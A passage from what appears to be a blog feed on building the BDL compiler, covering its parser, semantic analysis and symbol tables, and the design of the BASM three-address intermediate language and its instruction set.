    KEYWORD(&quot;&lt;=&quot;,     TOKEN_LE),
    KEYWORD(&quot;&gt;=&quot;,     TOKEN_GE),
};</code></pre>
                    <p>The parser’s task is to interpret the sequences
                    of tokens to generate a series of root
                    expressions/subtrees according to the grammar of the
                    language. For example, the following generates three
                    root expressions (Variable definition, function
                    declaration and function call):</p>
                    <pre><code>(def a:s64 1)

(fun fib (n: s64): s64
    (if (&lt;= n 2)
        1
        (+ (fib (- n 1)) (fib (- n 2)))))

(fib a)</code></pre>
                    <p>Currently we require type annotations for symbols
                    in variable declarations, function parameters/return
                    types but more on that later. Each of these trees is
                    composed of a number of nodes, not too dissimilar
                    from what we used in previous iterations of the
                    language. Nodes are tagged union structs that keep
                    track of the line/column of the expression that
                    generated them and the relevant information for each
                    node type:</p>
                    <pre><code>typedef enum NodeType {
    NODE_BUILTIN,
    NODE_NUMBER,
    NODE_BOOL,
    NODE_STRING,
    NODE_SYMBOL,
    NODE_TYPE,
    NODE_DEF,
    NODE_SET,
    NODE_FUN,
    NODE_BLOCK,
    NODE_IF,
    NODE_FUNCALL,
} NodeType;

typedef struct Node {
    size_t id;
    NodeType type;
    size_t line;
    size_t col;
    struct Type *expr_type;

    union {
        // Numbers.
        struct {
            bool negative;
            size_t integral;
            size_t fractional;
        } number;

        // String/symbol/type.
        StringView string;

        // Boolean.
        bool boolean;

        // Builtin primitive.
        struct {
            TokenType type;
            struct Node **args;
        } builtin;

        // Function call.
        struct {
            struct Node *name;
            struct Node **args;
        } funcall;

        // Variable definition.
        struct {
            struct Node *symbol;
            struct Node *value;
            struct Node *type;
        } def;

        // Variable assignment.
        struct {
            struct Node *symbol;
            struct Node *value;
        } set;

        // Function definition.
        struct {
            struct Node *name;
            struct Node **param_names;
            struct Node **param_types;
            struct Node *return_type;
            struct Node *body;
        } fun;

        // Block statements.
        struct {
            struct Node **expr;
        } block;

        // If statement.
        struct {
            struct Node *cond;
            struct Node *expr_true;
            struct Node *expr_false;
        } ifexpr;
    };
} Node;</code></pre>
                    <p>The parser still performed via recursive descent
                    like so:</p>
                    <pre><code>Node *
parse_next(Parser *parser) {
    Token tok = peek_token(parser);
    switch (tok.type) {
        case TOKEN_NUMBER: { return parse_number(parser); } break;
        case TOKEN_STRING: { return parse_string(parser); } break;
        case TOKEN_SYMBOL: { return parse_symbol(parser); } break;
        case TOKEN_TRUE:
        case TOKEN_FALSE: { return parse_bool(parser); } break;
        case TOKEN_LPAREN: { return parse_paren(parser); } break;
        case TOKEN_EOF: { return NULL; } break;
        case TOKEN_LCURLY: { return parse_block(parser); } break;
        default: {
            push_error(ERR_TYPE_PARSER, ERR_UNKNOWN_TOK_TYPE, tok.line, tok.col);
            return NULL;
        } break;
    }
}</code></pre>
                    <p>Where each of the relevant token types is handled
                    in individual functions that can call each other.
                    Note that there are currently four special function
                    calls that need to be handled separately
                    (<code>def</code>, <code>set</code>,
                    <code>fun</code>,<code>if</code>), and we now have
                    the concept of <code>builtin</code> functions, like
                    addition, division, or boolean comparisons. Builtin
                    functions can take any number of arguments, whereas
                    this is not currently allowed in user defined
                    functions:</p>
                    <pre><code>Node *
parse_paren(Parser *parser) {
    next_token(parser); // Skip paren.

    Token tok = peek_token(parser);

    switch (tok.type) {
        // Builtin functions.
        case TOKEN_ADD:
        case TOKEN_SUB:
        case TOKEN_MUL:
        case TOKEN_DIV:
        case TOKEN_MOD:
        case TOKEN_NOT:
        case TOKEN_AND:
        case TOKEN_OR:
        case TOKEN_EQ:
        case TOKEN_LT:
        case TOKEN_GT:
        case TOKEN_LE:
        case TOKEN_GE: { return parse_builtin(parser); } break;
        // Special functions.
        case TOKEN_DEF: { return parse_def(parser); } break;
        case TOKEN_SET: { return parse_set(parser); } break;
        case TOKEN_FUN: { return parse_fun(parser); } break;
        case TOKEN_IF: { return parse_if(parser); } break;
        default: break;
    }

    return parse_funcall(parser);
}</code></pre>
                    <p>One recent addition to the language is the
                    inclusion of expression blocks, defined by curly
                    braces containing a number of expressions
                    <code>{ e1 e2 ... eN }</code>. A block returns the
                    result of the last expression in it <code>eN</code>.
                    These can be considered syntactic sugar for
                    something like <code>(begin e1 e2 ... eN)</code> in
                    Scheme and also introduce a new scope which enable
                    us to do something like:</p>
                    <pre><code>(def a:str &quot;lexical scoping allows variable shadowing&quot;)

(def example:s64
    (if true {
        (def a:s64 2)
        (def b:s64 4)
        (+ a b)
    } {
        (def a:s64 8)
        (+ a 42)
    }))</code></pre>
                    <p>This is a pretty silly example, but hopefully the
                    usage is clear. This also affects function
                    definitions. Now functions take a single expression
                    as a body, but curly braces can be used for the
                    previous behaviour:</p>
                    <pre><code>(fun foo (c: s64):s64 {
    (def a:s64 2)
    (def b:s64 4)
    (+ a b c)
})

(foo 10) ; -&gt; returns 16</code></pre>
                    <p>I think this chimeric mixture between C-like and
                    lisp languages is pretty cool, and standardizes the
                    behaviour of blocks and lexical scoping. Bear in
                    mind that a function with a single expression or a
                    block expression create a single scope in both
                    cases, being a special case of block usage.</p>
                    <p>In the next section I will discuss the type
                    system and semantic analysis in its current state,
                    but before that I would also like to briefly mention
                    that there are some new options in the compiler that
                    allow us to visualize the data structures of
                    intermediate data structures:</p>
                    <pre><code>Usage: bdl [options] &lt;filename filename ...&gt;

        -h              Show usage.
        -p [l|p|s|t]    Print mode for [l]exing, [p]arsing, [s]emantic analysis, symbol [t]ables.
</code></pre>
                    <p>The compiler generates plain text files that when
                    applicable, can be fed to <a
                    href="https://graphviz.org/">graphviz</a> to
                    generate nice plots to help us debug and understand
                    our code. For example, for the initial code snippet
                    with the fibonacci function:</p>
                    <pre><code>(def a:s64 1)

(fun fib (n: s64): s64
    (if (&lt;= n 2)
        1
        (+ (fib (- n 1)) (fib (- n 2)))))

(fib a)</code></pre>
                    <p>Lexing:</p>
                    <pre><code>[   1:1    ] LPAREN
[   1:2    ] DEF
[   1:6    ] SYMBOL -&gt; a
[   1:7    ] COLON
[   1:8    ] SYMBOL -&gt; s64
[   1:12   ] NUMBER -&gt; 10
[   1:14   ] RPAREN
[   3:1    ] LPAREN
[   3:2    ] FUN
[   3:6    ] SYMBOL -&gt; fib
[   3:10   ] LPAREN
[   3:11   ] SYMBOL -&gt; n
[   3:12   ] COLON
[   3:14   ] SYMBOL -&gt; s64
[   3:17   ] RPAREN
[   3:18   ] COLON
[   3:20   ] SYMBOL -&gt; s64
[   4:5    ] LPAREN
[   4:6    ] IF
[   4:9    ] LPAREN
[   4:10   ] LE
[   4:13   ] SYMBOL -&gt; n
[   4:15   ] NUMBER -&gt; 2
[   4:16   ] RPAREN
[   5:9    ] NUMBER -&gt; 1
[   6:9    ] LPAREN
[   6:10   ] ADD
[   6:12   ] LPAREN
[   6:13   ] SYMBOL -&gt; fib
[   6:17   ] LPAREN
[   6:18   ] SUB
[   6:20   ] SYMBOL -&gt; n
[   6:22   ] NUMBER -&gt; 1
[   6:23   ] RPAREN
[   6:24   ] RPAREN
[   6:26   ] LPAREN
[   6:27   ] SYMBOL -&gt; fib
[   6:31   ] LPAREN
[   6:32   ] SUB
[   6:34   ] SYMBOL -&gt; n
[   6:36   ] NUMBER -&gt; 2
[   6:37   ] RPAREN
[   6:38   ] RPAREN
[   6:39   ] RPAREN
[   6:40   ] RPAREN
[   6:41   ] RPAREN
[   8:1    ] LPAREN
[   8:2    ] SYMBOL -&gt; fib
[   8:6    ] SYMBOL -&gt; a
[   8:7    ] RPAREN
[   9:1    ] EOF</code></pre>
                    <p>Parsing:</p>
                    <p><a href="par.svg"><img src="par.svg"
                    alt="Parse tree example" /></a></p>
                    <p>Semantic analysis tree:</p>
                    <p><a href="sem.svg"><img src="sem.svg"
                    alt="Parse tree example after semantic analysis/type annotation" /></a></p>
                    <p>Semantic analysis symbol tables:</p>
                    <p><a href="sym.svg"><img src="sym.svg"
                    alt="Symbol table example" /></a></p>
                    <p>The idea for these visualizations came from <a
                    href="https://twitter.com/thingskatedid/status/1386077306381242371">this
                    Twitter thread</a> and I am so happy I discovered
                    it. These visualizations already helped me find a
                    number of bugs during development and they where
                    pretty easy to implement.</p>
                    <h2 id="semantic-analysis">Semantic analysis</h2>
                    <p>Sometimes semantic analysis is bundled in the
                    <code>parser</code> step, but I like the idea of
                    keeping phases separated. The lexer generates a
                    token list (tokens), the parser uses said list to
                    generate a number of expression trees (grammar) and
                    the semantic analyzer annotates these trees,
                    generates symbol tables and performs type checking
                    (semantics). The two main things that we want to do
                    in the semantic analysis stage is to ensure that
                    symbols are defined before usage and that function
                    and variable types match the expected behaviour. We
                    performed these steps simultaneously, since both
                    involve the traversal of the expression trees. We
                    do, however, allow function definitions in the
                    global scope to be anywhere to avoid having to
                    forward declare them. In the future we may consider
                    splitting this into two passes, but the bulk of the
                    work is on the type checking side so it is fine for
                    now.</p>
                    <p>The management of symbol tables should be
                    familiar if you have been following along with the
                    rest of the series. We achieve lexical scoping by
                    having a hierarchical list of hash tables (remember
                    Environments?).</p>
                    <pre><code>typedef struct Scope {
    size_t id;
    struct Scope *parent;
    HashTable *symbols;
    HashTable *types;
} Scope;</code></pre>
                    <p>As you can see, we also keep track of defined
                    types, which we populate with default types
                    (<code>u16</code>, <code>u8</code>,
                    <code>s64</code>, <code>str</code>,
                    <code>bool</code>, etc.). At the moment of this
                    writing, structs, arrays and references have not
                    been fully implemented yet, so there are no user
                    defined types for now, but they will be in the
                    future.</p>
                    <p>For type checking, we are going to use a very
                    simple monomorphic (i.e. not polymorphic) approach.
                    That is, types need to match exactly and there are
                    no generic types. Constants such as
                    <code>"hello"</code> or <code>true</code> have
                    implicit types of <code>str</code> and
                    <code>bool</code> respectively. Expressions like
                    <code>def</code> or <code>fun</code> don’t return
                    anything, and thus have type <code>void</code>.
                    Numbers are a bit more complicated, but for now we
                    follow a very simple approach: if a number has a
                    fractional part the type is <code>f64</code> and if
                    not <code>s64</code>. This will likely change in the
                    future, specially once we allow for type annotations
                    for numeric constants, but it will do for now.</p>
                    <p>If expressions return a value, so if the
                    expression contains the optional else branch, both
                    true and false expressions need to return values of
                    the same type. In case we don’t have an else
                    expression, the expression if true must be of type
                    void. Furthermore, the conditional expression must
                    have type <code>bool</code>.</p>
                    <p>In case of <code>def</code> expressions, we
                    ensure that the given annotation and the type of the
                    value expression match. Similarly, we check calls to
                    user defined functions to ensure the arguments match
                    the formal parameters and the return type also meets
                    the expectation.</p>
                    <p>Builtin functions are treated specially, for
                    example we ensure that all arguments given to
                    <code>not</code>, <code>and</code>, and
                    <code>or</code> are of type <code>bool</code> and
                    that numeric expressions (<code>+</code>,
                    <code>-</code>, <code>&lt;=</code>, etc.) have
                    numeric arguments. Here we run into an issue though,
                    because certain numeric types can be safely
                    converted to other types, for example
                    <code>(+ a:u8 b:u64)</code> should perform a
                    <code>u64</code> summation, since <code>a</code>, of
                    type <code>u8</code> safely fits inside a
                    <code>u64</code>. We do however disallow mixing up
                    floating point values with integers or signed and
                    unsigned together. In the future we will likely have
                    casting functions, but this requires thinking about
                    some considerations I’m not ready to tackle right
                    now. This type system may be scrapped in the future
                    in favour of a more powerful polymorphic one, so I
                    want to keep things simple for now.</p>
                    <p>We traverse the tree by recursively calling the
                    <code>resolve_type</code> function, which returns
                    false if an error occurred at any stage or true
                    otherwise.</p>
                    <pre><code>bool
resolve_type(ParseTree *ast, Scope *scope, Node *node) {
    if (node-&gt;expr_type != NULL) {
        return true;
    }
    switch (node-&gt;type) {
        case NODE_BUILTIN: {
        ...</code></pre>
                    <p>The current <code>scope</code> is being passed
                    around and as previously mentioned a new scope is
                    instantiated for block nodes or function
                    definitions:</p>
                    <pre><code>        case NODE_BLOCK: {
            scope = alloc_scope(scope);
            array_push(ast-&gt;scopes, scope);
            for (size_t i = 0; i &lt; array_size(node-&gt;block.expr); ++i) {
                Node *expr = node-&gt;block.expr[i];
                if (!resolve_type(ast, scope, expr)) {
                    return false;
                }
            }
            Node *last_expr = node-&gt;block.expr[array_size(node-&gt;block.expr) - 1];
            node-&gt;expr_type = last_expr-&gt;expr_type;
        } break;</code></pre>
                    <p>In symbol tables we currently store the following
                    <code>Symbol</code> value:</p>
                    <pre><code>typedef enum SymbolType {
    SYMBOL_VAR,
    SYMBOL_PAR,
    SYMBOL_FUN,
} SymbolType;

typedef struct Symbol {
    Node *name;
    SymbolType type;

    union {
        struct {
            Node *type;
        } var;

        struct {
            Node **param_types;
            Node *return_type;
        } fun;
    };
} Symbol;</code></pre>
                    <p>That is, as <code>Symbol</code> can store a
                    variable (Declared with <code>def</code>), function
                    parameter or a function type, which also keeps track
                    of parameter types as well as return values. We
                    insert a symbol with the following function, which
                    allows the insertion if the current scope don’t have
                    a symbol with the same name:</p>
                    <pre><code>bool
insert_symbol(Scope *scope, Node *symbol, Symbol *val) {
    // Check if symbol already exists.
    HashTable *symbols = scope-&gt;symbols;
    if (ht_lookup(symbols, symbol) != NULL) {
        push_error(ERR_TYPE_PARSER, ERR_SYMBOL_REDEF, symbol-&gt;line, symbol-&gt;col);
        return false;
    }
    ht_insert(symbols, symbol, val);
    return true;
}</code></pre>
                    <p>When looking for symbols, however we traverse all
                    parent scopes to see if it was defined
                    previously.</p>
                    <pre><code>Symbol *
find_symbol(Scope *scope, Node *node) {
    while (scope != NULL) {
        Symbol *val = ht_lookup(scope-&gt;symbols, node);
        if (val != NULL) {
            return val;
        }
        scope = scope-&gt;parent;
    }
    push_error(ERR_TYPE_PARSER, ERR_UNKNOWN_SYMBOL, node-&gt;line, node-&gt;col);
    return NULL;
}</code></pre>
                    <p>All in all, the semantic analysis is pretty
                    compact clocking at more or less 500 lines (not
                    including the hash table implementation). It can use
                    some improvements, and there are some considerations
                    currently marked as TODOs, but hopefully is solid
                    enough for now. Type inference will also be nice to
                    have and it is certainly not difficult to add to
                    <code>def</code> expressions if we just obviate the
                    need for explicit annotations, but it will probably
                    not be implemented for function parameters/return
                    types until a more sophisticated type system is put
                    in place.</p>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>It’s been a wild ride so far, and I have a big
                    sense of Deja-Vu from rewriting the same compiler
                    modules over an over, but I think this allowed me to
                    understand my preferred way of implementing these
                    things. I’m pretty happy with the current lexer and
                    parser implementation, but the type system will
                    likely change as we iterate over some new ideas.
                    Likewise, I doubt the symbol tables contain
                    sufficient information for further compilation
                    stages, but the framework is in place and can be
                    easily extended once there is the need. As
                    mentioned, there are still some important features
                    missing, however, advancing through different
                    compilation stages typically yields new insights
                    that may change the way we structure previous steps,
                    so there is a case for gradual progress. For the <a
                    href="/posts/building-bdl-part-9">next post</a>,
                    I’ll attempt to design a low-level linear IR that
                    could be used for optimization and bytecode/assembly
                    code generation. Stay tuned!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 9 (Designing an intermediate
assembly language)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-9"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-9</id>
            <updated>2026-06-16T09:49:10Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>In <a href="/posts/building-bdl-part-8">the
                    previous post</a> we went through a number of
                    updates to the compiler and introduced the semantic
                    analysis phase for type checking and symbol table
                    generation. Here we will present the idea of linear
                    intermediate representations and discuss the design
                    we want to use for our language.</p>
                    <p>As the name indicates, an intermediate
                    representation (IR) is just that, some passing data
                    structure being used between the beginning and the
                    end of the compilation process. The parsing tree we
                    have used so far is an example of a graphical IR.
                    Trees and graphs allow us to have a high-level
                    overview of the source code and can be easily
                    traversed for things like type checking or semantic
                    analysis.</p>
                    <p>The end result of this compiler is to output
                    bytecode, assembly code or a fully linked binary.
                    These require us to linearize the source graph so
                    that the instructions can be executed in a
                    sequential order. Instead of generating assembly or
                    bytecode directly, we can output a low-level
                    representation of this linear code, which can be
                    more easily translated to other architectures. This
                    is our next IR, which we will lovingly name BASM
                    (bdl assembly).</p>
                    <h2 id="to-stack-or-not-to-stack">To stack or not to
                    stack</h2>
                    <p>The two most popular linear IRs are “one-address
                    codes” (OAC) and “three-address codes” (TAC). The
                    former is reminiscent of stack machines and the
                    later more closely models RISC processors.</p>
                    <p>OAC IRs have operations that mostly deal with
                    stack manipulation and require fewer registers.
                    These IRs operators can be succinctly stored and
                    make use of at most one parameter. On the other hand
                    TAC contains a destination, an operator and at most
                    two source parameters.</p>
                    <p>It will be much more clear with an example, so
                    let’s imagine the following code:</p>
                    <pre><code>(+ 1 2 (- 10 2 1))</code></pre>
                    <p>A potential OAC translation (and the stack status
                    after running this operation) could be:</p>
                    <pre><code>CODE      | STACK
----------|---------
push 1    | [1]
push 2    | [1 2]
add       | [3]
push 10   | [3 10]
push 2    | [3 10 2]
sub       | [3 8]
push 1    | [3 8 1]
sub       | [3 7]
add       | [10]     &lt;- final result is on the top of the stack</code></pre>
                    <p>An equivalent TAC translation, without using the
                    stack:</p>
                    <pre><code>t1 = 1 + 2
t2 = 10 - 2
t3 = t2 - 1
t4 = t1 + t3         &lt;- final result is on t4</code></pre>
                    <p>Another TAC example, targeting an infinite
                    registers machine. Note how this is much closer to
                    the final assembly representation. In fact, this
                    mimics more closely what a RISC processor might
                    do:</p>
                    <pre><code>load r1, 1
load r2, 2
add  r3, r1, r2
load r4, 10
load r5, 2
sub  r6, r4, r5
load r7, 1
sub  r8, r6, r7
add  r9, r3, r8      &lt;- final result is on r9</code></pre>
                    <p>In practice, real hardware have a limited number
                    of registers so a register allocation step is needed
                    for the final compilation. However, this low level
                    representation could be easily compiled to a VM that
                    could allocate as many registers as needed during
                    execution. This is the form I’m interested in
                    exploring as a target for linear IR and bytecode.
                    Note that the generation of these instructions
                    generates a new register as a destination for each
                    operation, but this could have also be written
                    as:</p>
                    <pre><code>load r1, 1
load r2, 2
add  r1, r1, r2
load r2, 10
load r3, 2
sub  r2, r2, r3
load r3, 1
sub  r2, r2, r3
add  r1, r1, r2      &lt;- final result is on r1</code></pre>
                    <p>The number of registers was reduced to 3 in this
                    form. This could be generated directly or wait until
                    a later optimization stage. For example note how we
                    load the numeric constant <code>1</code> on
                    <code>r1</code> and <code>r7</code> in the first
                    form and <code>r1</code> and <code>r3</code> in the
                    second one. Since the first form keeps distinct
                    names for each register, the load operations could
                    be removed. This is not possible on the second form,
                    since <code>r1</code> is modified by the
                    <code>add</code> operation and the initial context
                    is lost. A smart compiler could reduce the first
                    form to remove the number of load/store operations,
                    since memory access tend to be one of the most
                    expensive parts of a program.</p>
                    <pre><code>load r1, 1
load r2, 2
add  r3, r1, r2
load r4, 10
sub  r5, r4, r2
sub  r6, r5, r1
add  r7, r3, r6</code></pre>
                    <p>Of course there are many optimizations available
                    that could be used to improve the quality of the
                    generated code, and this is why TAC IRs are used in
                    practice. In the following section we will draft the
                    details of the proposed TAC IR.</p>
                    <h2 id="basm">BASM</h2>
                    <p>As mentioned, we are going to target a low-level
                    linear IR that could be interpreted in a bytecode
                    VM, which we will also build alongside the IR. This
                    way, we will effectively be targeting a VM with
                    infinite registers. To keep things simple, we will
                    start with only integer values, leaving floating
                    point registers and operations for later. In
                    addition of an infinite number of integer registers
                    (denoted as <code>r1, r2, ... rn</code>), we have a
                    number of special registers:</p>
                    <ul>
                    <li><code>rsp</code> (stack pointer register):
                    Points to the top of the stack.</li>
                    <li><code>rar</code> (activation record register):
                    Points to the activation record for the current
                    procedure.</li>
                    </ul>
                    <p>Each instruction is composed of an operator and a
                    maximum of three operands. The operator tell us what
                    kind of instruction it is (<code>load</code>,
                    <code>store</code>, <code>add</code>,
                    <code>jump</code>, etc.) whereas the operands can
                    indicate source/destination registers, constants or
                    labels. We will not include a large number of
                    operations, so we can store the operator into a
                    single byte. Constants are signed or unsigned
                    numbers and must fit into a 64 byte register. Labels
                    are temporary points in our program that can be used
                    primarily for jumping, allowing us to perform IR
                    translation in one go without having to backtrack to
                    calculate offsets.</p>
                    <pre><code>typedef enum OperandType {
    OP_TYPE_REG,
    OP_TYPE_CONST,
    OP_TYPE_LABEL,
} OperandType;

typedef struct Operand {
    OperandType type;
    union {
        struct {
            size_t num;
        } reg;

        struct {
            size_t num;
        } label;

        struct {
            union {
                u64 uval;
                s64 sval;
            };
        } const;
    };
} Operand;

typedef struct Instruction {
    Operator op;
    Operand dst;
    Operand src_a;
    Operand src_b;
} Instruction;</code></pre>
                    <p>A program, is just a series of instructions
                    sequentially executed. For debugging purposes we can
                    still keep track of the line/column number from
                    which the instruction originates. This debugging
                    information is kept on a separate array so that the
                    interpreter don’t get bogged down by cache
                    performance.</p>
                    <pre><code>typedef struct LineInfo {
    size_t line;
    size_t col;
} LineInfo;

typedef struct ProgramBASM {
    Instruction *inst;
    LineInfo *lines;
} ProgramBASM;</code></pre>
                    <p>Let us now discuss the different types of
                    operations in our ASM-like language.</p>
                    <h3 id="arithmetic">Arithmetic</h3>
                    <p>Arithmetic operations deal exclusively with
                    numbers. The destination operand (<code>dst</code>)
                    as well as the first source register
                    (<code>src_a</code>) can only be of register type.
                    The second source register (<code>src_b</code>) can
                    be either a constant or another register. Floating
                    point operations will behave just the same
                    (<code>addf, subf...</code>) but will use floating
                    point registers instead.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
add   r1    r2    r3    -&gt; r1 = r3 + r2
sub   r1    r2    r3    -&gt; r1 = r3 - r2
mul   r1    r2    r3    -&gt; r1 = r3 * r2
div   r1    r2    r3    -&gt; r1 = r3 / r2
mod   r1    r2    r3    -&gt; r1 = r3 % r2

add   r1    r2    c1    -&gt; r1 = c1 + r2
sub   r1    r2    c1    -&gt; r1 = c1 - r2
mul   r1    r2    c1    -&gt; r1 = c1 * r2
div   r1    r2    c1    -&gt; r1 = c1 / r2
mod   r1    r2    c1    -&gt; r1 = c1 % r2</code></pre>
                    <h3 id="memory-loadstore">Memory (Load/store)</h3>
                    <p>We need a way of loading and saving data between
                    memory and registers. This allow us to interact with
                    local variables, the stack, files, etc. First of
                    all, load operations (<code>ldX</code>) move a value
                    from memory into a register. Since integer types can
                    have different sizes (8, 16, 32 and 64 bits) we need
                    the corresponding memory operations. The
                    <code>dst</code> operand must be of register type
                    and indicates the register that will store the value
                    loaded from memory. The <code>src_a</code> and
                    <code>src_b</code> operands can be either constants
                    or registers, however, if <code>src_a</code> is a
                    constant, <code>src_b</code> will be ignored. This
                    mode is used to load a constant value into a
                    register. When <code>src_a</code> is a register, the
                    value loaded into memory corresponds to
                    <code>MEMORY[src_a + src_b]</code>. In other words,
                    <code>src_a</code> contains the base address from
                    which to load the data and <code>src_b</code> is the
                    offset from that address. When <code>src_b</code> is
                    a constant of value <code>0</code> we consider it an
                    immediate load.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
ld8   r1    c1          -&gt; (u8)c1
ld8   r1    r2    c1    -&gt; u8  *p; r1 = p[r2 + c1]
ld8   r1    r2    r3    -&gt; u8  *p; r1 = p[r2 + r3]
ld16  r1    c1          -&gt; (u16)c1
ld16  r1    r2    c1    -&gt; u16 *p; r1 = p[r2 + c1]
ld16  r1    r2    r3    -&gt; u16 *p; r1 = p[r2 + r3]
ld32  r1    c1          -&gt; (u32)c1
ld32  r1    r2    c1    -&gt; u32 *p; r1 = p[r2 + c1]
ld32  r1    r2    r3    -&gt; u32 *p; r1 = p[r2 + r3]
ld64  r1    c1          -&gt; (u64)c1
ld64  r1    r2    c1    -&gt; u64 *p; r1 = p[r2 + c1]
ld64  r1    r2    r3    -&gt; u64 *p; r1 = p[r2 + r3]</code></pre>
                    <p>Similarly, for store operations
                    (<code>stX</code>), the <code>dst</code> value will
                    be stored in <code>MEMORY[src_a + src_b]</code>.
                    Note that there is not a immediate constant store
                    operation.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
st8   r1    r2    c1    -&gt; u8  *p; p[r2 + c1] = r1
st8   r1    r2    r3    -&gt; u8  *p; p[r2 + r3] = r1
st16  r1    r2    c1    -&gt; u16 *p; p[r2 + c1] = r1
st16  r1    r2    r3    -&gt; u16 *p; p[r2 + r3] = r1
st32  r1    r2    c1    -&gt; u32 *p; p[r2 + c1] = r1
st32  r1    r2    r3    -&gt; u32 *p; p[r2 + r3] = r1
st64  r1    r2    c1    -&gt; u64 *p; p[r2 + c1] = r1
st64  r1    r2    r3    -&gt; u64 *p; p[r2 + r3] = r1</code></pre>
                    <p>Finally, we can copy data register to register
                    without having to go through memory. Both
                    <code>src_a</code> and <code>dst</code> must be
                    registers, where <code>src_a</code> is the register
                    to copy and <code>dst</code> is the destination of
                    said copy. Depending on the type of copy, it is
                    equivalent of using an <code>and</code> mask on
                    <code>src_a</code> as shown below.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
cp8   r1    r2          -&gt; r1 = r2 &amp; 0xFF
cp16  r1    r2          -&gt; r1 = r2 &amp; 0xFFFF
cp32  r1    r2          -&gt; r1 = r2 &amp; 0xFFFFFFFF
cp64  r1    r2          -&gt; r1 = r2 &amp; 0xFFFFFFFFFFFFFFFF</code></pre>
                    <h3 id="jumps-and-control-flow">Jumps and control
                    flow</h3>
                    <p>We implement logic using branching. We have
                    access to conditional and unconditional jump
                    operations. Jumping effectively sets the program
                    counter (PC) to the given memory location. All jump
                    operations take a label in the <code>dst</code>,
                    which is the target location for the jump.
                    Conditional jump operations compare
                    <code>src_a</code> and <code>src_b</code> and will
                    execute the jump if the condition is met.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
jmp   l1                -&gt; jump to `l1` unconditionally
jeq   l1    r1    r2    -&gt; jump to `l1` if r1 == r2
jneq  l1    r1    r2    -&gt; jump to `l1` if r1 != r2
jgt   l1    r1    r2    -&gt; jump to `l1` if r1 &gt;  r2
jlt   l1    r1    r2    -&gt; jump to `l1` if r1 &lt;  r2
jge   l1    r1    r2    -&gt; jump to `l1` if r1 &gt;= r2
jle   l1    r1    r2    -&gt; jump to `l1` if r1 &lt;= r2</code></pre>
                    <p>In order to serialize the labels in our code, we
                    make use of a special instruction that will not be
                    present in the compiled bytecode or final
                    compilation form. The label instruction is
                    effectively a NOP operation used to annotate the
                    next non label instruction to be executed. The
                    <code>dst</code> operand contains the numeric
                    identifier for this label.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
lab   l1</code></pre>
                    <p>Here is a rough example of an if-else statement
                    after IR serialization:</p>
                    <pre><code>; BDL
(if (= 2 1) 3 4)

; BASM
ld64   r1   2
ld64   r2   1
jeq    l1   r1   r2
ld64   r3   4
jmp    l2
lab    l1
ld64   r3   3
lab    l2</code></pre>
                    <p>When compiling to bytecode, each instruction has
                    a fixed size so we can substitute all labels for the
                    equivalent instruction offset.</p>
                    <pre><code>; BASM (after label to offset substitution)
ld64   r1   2
ld64   r2   1
jeq    3    r1   r2
ld64   r3   4
jmp    2
ld64   r3   3</code></pre>
                    <h3 id="bitwise-ops">Bitwise ops</h3>
                    <p>Even though we haven’t added these to our
                    language, it is useful to consider bitwise
                    operations. These are things like shifting/rotating
                    bits left/right, and bitwise and, or, not and xor
                    operations. All of these require a register for
                    <code>dst</code> and <code>src_a</code>.
                    <code>src_b</code> can be either a constant or
                    another register depending on the operation. Left
                    and right shifts (<code>Xshif</code>) move the bit
                    sequence left or right, inserting zeros right or
                    left respectively. The original signedness of
                    <code>src_a</code> doesn’t matter, meaning that a
                    negative number will still pad the left side with
                    zeroes when shifting right.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
lshif r1    r2    r3    -&gt; r1 = r2 &lt;&lt; r3
lshif r1    r2    c1    -&gt; r1 = r2 &lt;&lt; c1
rshif r1    r2    r3    -&gt; r1 = r2 &gt;&gt; r3
rshif r1    r2    c1    -&gt; r1 = r2 &gt;&gt; c1

Examples:

ld8   r2 0b11011101
lshif r1 r2 2 -&gt; r1 = 0b01110100
rshif r1 r2 3 -&gt; r1 = 0b00011011</code></pre>
                    <p>Rotating bits in a N bit architecture (by default
                    our VM will target N == 64) performs the same
                    left/right bit shifting as above, but instead of
                    inserting zeroes, the bit sequence to the right/left
                    respectively is inserted into the hole.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
lrot  r1    r2    r3    -&gt; r1 = (r2 &lt;&lt; r3) &amp; (r2 &gt;&gt; (N - r3))
lrot  r1    r2    c1    -&gt; r1 = (r2 &lt;&lt; c1) &amp; (r2 &gt;&gt; (N - c1))
rrot  r1    r2    r3    -&gt; r1 = (r2 &gt;&gt; r3) &amp; (r2 &lt;&lt; (N - r3))
rrot  r1    r2    c1    -&gt; r1 = (r2 &gt;&gt; c1) &amp; (r2 &lt;&lt; (N - c1))

Examples (N = 8 for demonstration purposes):

ld8   r2 0b11011101
lrot  r1 r2 2 -&gt; r1 = 0b01110111
rrot  r1 r2 3 -&gt; r1 = 0b10111011</code></pre>
                    <p>The logical operations are pretty self
                    explanatory. Note that the logical <code>not</code>
                    doesn’t need <code>src_b</code>, since it just
                    inverts the bit sequence in <code>src_a</code>.</p>
                    <pre><code>OP    DST   SRC_A SRC_B
not   r1    r2          -&gt; r1 = ~r2
and   r1    r2    r3    -&gt; r1 = r2 &amp; r3
and   r1    r2    c1    -&gt; r1 = r2 &amp; c1
or    r1    r2    r3    -&gt; r1 = r2 | r3
or    r1    r2    c1    -&gt; r1 = r2 | c1
xor   r1    r2    r3    -&gt; r1 = r2 ^ r3
xor   r1    r2    c1    -&gt; r1 = r2 ^ c1

Examples:

ld8   r2 0b11011101
ld8   r3 0b00001011
not   r1 r2    -&gt; r1 = 0b00100010
and   r1 r2 r3 -&gt; r1 = 0b00001001
or    r1 r2 r3 -&gt; r1 = 0b11011111
xor   r1 r2 r3 -&gt; r1 = 0b11010110</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>In this article we have introduced a low-level
                    assembly like language to be used both as an
                    intermediate representation for optimization and
                    code generation and as input for a virtual machine
